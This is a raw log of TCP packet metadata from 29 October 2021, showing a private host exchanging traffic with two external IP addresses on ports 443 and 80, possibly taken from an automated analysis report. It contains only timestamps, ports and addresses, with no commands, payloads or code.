Oct 29, 2021 20:29:05.162008047 CEST	49793	443	192.168.2.3	162.159.135.233
Oct 29, 2021 20:29:05.162020922 CEST	443	49793	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:05.162029982 CEST	49793	443	192.168.2.3	162.159.135.233
Oct 29, 2021 20:29:05.162048101 CEST	443	49793	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:05.162151098 CEST	443	49793	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:05.162332058 CEST	49793	443	192.168.2.3	162.159.135.233
Oct 29, 2021 20:29:05.162349939 CEST	443	49793	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:05.162358999 CEST	49793	443	192.168.2.3	162.159.135.233
Oct 29, 2021 20:29:05.179197073 CEST	443	49793	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:05.179265022 CEST	443	49793	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:05.179277897 CEST	49793	443	192.168.2.3	162.159.135.233
Oct 29, 2021 20:29:05.179297924 CEST	443	49793	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:05.179317951 CEST	49793	443	192.168.2.3	162.159.135.233
Oct 29, 2021 20:29:05.179336071 CEST	443	49793	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:05.179445028 CEST	443	49793	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:05.179503918 CEST	49793	443	192.168.2.3	162.159.135.233
Oct 29, 2021 20:29:05.179516077 CEST	443	49793	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:05.179522991 CEST	49793	443	192.168.2.3	162.159.135.233
Oct 29, 2021 20:29:05.179842949 CEST	443	49793	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:05.179929972 CEST	49793	443	192.168.2.3	162.159.135.233
Oct 29, 2021 20:29:05.179939985 CEST	443	49793	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:05.180037975 CEST	443	49793	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:05.180093050 CEST	443	49793	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:05.180098057 CEST	49793	443	192.168.2.3	162.159.135.233
Oct 29, 2021 20:29:05.180110931 CEST	443	49793	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:05.180139065 CEST	443	49793	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:05.180154085 CEST	49793	443	192.168.2.3	162.159.135.233
Oct 29, 2021 20:29:05.180160999 CEST	49793	443	192.168.2.3	162.159.135.233
Oct 29, 2021 20:29:05.180166006 CEST	443	49793	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:05.180233955 CEST	443	49793	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:05.180280924 CEST	49793	443	192.168.2.3	162.159.135.233
Oct 29, 2021 20:29:05.180290937 CEST	49793	443	192.168.2.3	162.159.135.233
Oct 29, 2021 20:29:05.180299044 CEST	443	49793	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:05.180332899 CEST	443	49793	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:05.180424929 CEST	443	49793	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:05.180459976 CEST	49793	443	192.168.2.3	162.159.135.233
Oct 29, 2021 20:29:05.180473089 CEST	443	49793	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:05.180481911 CEST	49793	443	192.168.2.3	162.159.135.233
Oct 29, 2021 20:29:05.180604935 CEST	443	49793	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:05.180639982 CEST	49793	443	192.168.2.3	162.159.135.233
Oct 29, 2021 20:29:05.180656910 CEST	443	49793	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:05.180666924 CEST	49793	443	192.168.2.3	162.159.135.233
Oct 29, 2021 20:29:05.180674076 CEST	443	49793	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:05.180727959 CEST	443	49793	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:05.180742979 CEST	49793	443	192.168.2.3	162.159.135.233
Oct 29, 2021 20:29:05.180756092 CEST	443	49793	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:05.180794001 CEST	49793	443	192.168.2.3	162.159.135.233
Oct 29, 2021 20:29:05.180810928 CEST	443	49793	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:05.180876017 CEST	49793	443	192.168.2.3	162.159.135.233
Oct 29, 2021 20:29:05.180888891 CEST	443	49793	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:05.180923939 CEST	443	49793	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:05.180974960 CEST	49793	443	192.168.2.3	162.159.135.233
Oct 29, 2021 20:29:05.180984020 CEST	443	49793	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:05.181025028 CEST	49793	443	192.168.2.3	162.159.135.233
Oct 29, 2021 20:29:05.181046009 CEST	443	49793	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:05.181118965 CEST	49793	443	192.168.2.3	162.159.135.233
Oct 29, 2021 20:29:05.181128979 CEST	443	49793	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:05.181179047 CEST	443	49793	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:05.181251049 CEST	49793	443	192.168.2.3	162.159.135.233
Oct 29, 2021 20:29:05.181265116 CEST	443	49793	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:05.181283951 CEST	443	49793	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:05.181351900 CEST	443	49793	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:05.181371927 CEST	49793	443	192.168.2.3	162.159.135.233
Oct 29, 2021 20:29:05.181382895 CEST	443	49793	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:05.181413889 CEST	49793	443	192.168.2.3	162.159.135.233
Oct 29, 2021 20:29:05.181458950 CEST	443	49793	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:05.181543112 CEST	443	49793	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:05.181577921 CEST	49793	443	192.168.2.3	162.159.135.233
Oct 29, 2021 20:29:05.181588888 CEST	443	49793	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:05.181597948 CEST	49793	443	192.168.2.3	162.159.135.233
Oct 29, 2021 20:29:05.181646109 CEST	443	49793	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:05.181806087 CEST	49793	443	192.168.2.3	162.159.135.233
Oct 29, 2021 20:29:05.181833982 CEST	443	49793	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:05.182091951 CEST	443	49793	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:05.182120085 CEST	443	49793	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:05.182132006 CEST	49793	443	192.168.2.3	162.159.135.233
Oct 29, 2021 20:29:05.182146072 CEST	443	49793	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:05.182159901 CEST	49793	443	192.168.2.3	162.159.135.233
Oct 29, 2021 20:29:05.182184935 CEST	49793	443	192.168.2.3	162.159.135.233
Oct 29, 2021 20:29:05.182543039 CEST	443	49793	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:05.182570934 CEST	443	49793	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:05.182641029 CEST	49793	443	192.168.2.3	162.159.135.233
Oct 29, 2021 20:29:05.182656050 CEST	443	49793	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:05.182666063 CEST	49793	443	192.168.2.3	162.159.135.233
Oct 29, 2021 20:29:05.182756901 CEST	443	49793	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:05.182796001 CEST	443	49793	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:05.182851076 CEST	443	49793	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:05.182876110 CEST	49793	443	192.168.2.3	162.159.135.233
Oct 29, 2021 20:29:05.182887077 CEST	49793	443	192.168.2.3	162.159.135.233
Oct 29, 2021 20:29:05.182890892 CEST	49793	443	192.168.2.3	162.159.135.233
Oct 29, 2021 20:29:05.182894945 CEST	49793	443	192.168.2.3	162.159.135.233
Oct 29, 2021 20:29:05.183198929 CEST	49793	443	192.168.2.3	162.159.135.233
Oct 29, 2021 20:29:05.183362007 CEST	49793	443	192.168.2.3	162.159.135.233
Oct 29, 2021 20:29:05.186032057 CEST	49793	443	192.168.2.3	162.159.135.233
Oct 29, 2021 20:29:06.662451029 CEST	49800	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:06.715795994 CEST	80	49800	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:06.715899944 CEST	49800	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:06.716090918 CEST	49800	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:06.716121912 CEST	49800	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:06.795917034 CEST	80	49800	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:06.797056913 CEST	49800	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:06.800091982 CEST	49800	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:06.836427927 CEST	49801	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:06.856276035 CEST	80	49800	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:06.891110897 CEST	80	49801	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:06.891721010 CEST	49801	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:06.892008066 CEST	49801	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:06.892028093 CEST	49801	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:06.975089073 CEST	80	49801	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:06.976634026 CEST	49801	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:06.977029085 CEST	49801	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.030500889 CEST	80	49801	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.031991959 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.084223032 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.086961031 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.086993933 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.086997986 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.162741899 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.162769079 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.162785053 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.162810087 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.162827969 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.162844896 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.162858009 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.162861109 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.162878036 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.162878036 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.162890911 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.162894964 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.162911892 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.162940025 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.162987947 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.215116978 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.215142965 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.215161085 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.215178967 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.215197086 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.215214968 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.215233088 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.215250015 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.215267897 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.215285063 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.215301991 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.215320110 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.215354919 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.215373993 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.215377092 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.215382099 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.215411901 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.215434074 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.215455055 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.215476990 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.215500116 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.215506077 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.215514898 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.215521097 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.215540886 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.215656996 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.215668917 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.267663956 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.267690897 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.267709017 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.267728090 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.267801046 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.267939091 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.267957926 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.268073082 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.268117905 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.268239021 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.268254995 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.268321037 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.268340111 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.268394947 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.268435001 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.268490076 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.268503904 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.268815041 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.268835068 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.268872023 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.268893957 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.268913984 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.268965006 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.269172907 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.269191027 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.269208908 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.269226074 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.269242048 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.269284964 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.269349098 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.269366980 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.269386053 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.269404888 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.269422054 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.269438982 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.269458055 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.269474983 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.269479990 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.269490004 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.269494057 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.269535065 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.269551992 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.269571066 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.269587994 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.269617081 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.269628048 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.269632101 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.269889116 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.269907951 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.269926071 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.269943953 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.269962072 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.269977093 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.270435095 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.270483971 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.270504951 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.270523071 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.270823002 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.270838976 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.319915056 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.319937944 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.319963932 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.319993973 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.320005894 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.320034981 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.320059061 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.320081949 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.320125103 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.320161104 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.320164919 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.320455074 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.320478916 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.320502043 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.320524931 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.320547104 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.320569038 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.320570946 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.320575953 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.320637941 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.320755005 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.320777893 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.320801020 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.320821047 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.320842981 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.320885897 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.320909023 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.320933104 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.320933104 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.320944071 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.320947886 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.320955992 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.320979118 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.321172953 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.321187019 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.321233034 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.321296930 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.321321964 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.321343899 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.321367979 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.321400881 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.321405888 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.321415901 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.321465015 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.321470976 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.321496964 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.321521997 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.321543932 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.321583033 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.321614981 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.321647882 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.321674109 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.321677923 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.321686983 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.321697950 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.321721077 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.321760893 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.321768045 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.321772099 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.321963072 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.321986914 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.322010040 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.322031021 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.322302103 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.322312117 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.322735071 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.322768927 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.323101044 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.323126078 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.323127985 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.323236942 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.372226000 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.372251987 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.372370958 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.372497082 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.372520924 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.372544050 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.372565031 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.372565985 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.372590065 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.372612953 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.372636080 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.372662067 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.372704029 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.372709036 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.372713089 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.372728109 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.372752905 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.372905970 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.372931957 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.372953892 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.372977972 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.372998953 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.373001099 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.373004913 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.373023987 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.373153925 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.373179913 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.373229027 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.373233080 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.373241901 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.373245955 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.373261929 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.373332024 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.373354912 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.373378992 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.373388052 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.373400927 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.373403072 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.373442888 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.373465061 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.373471022 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.373569012 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.373625040 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.373683929 CEST	80	49803	185.98.87.159	192.168.2.3
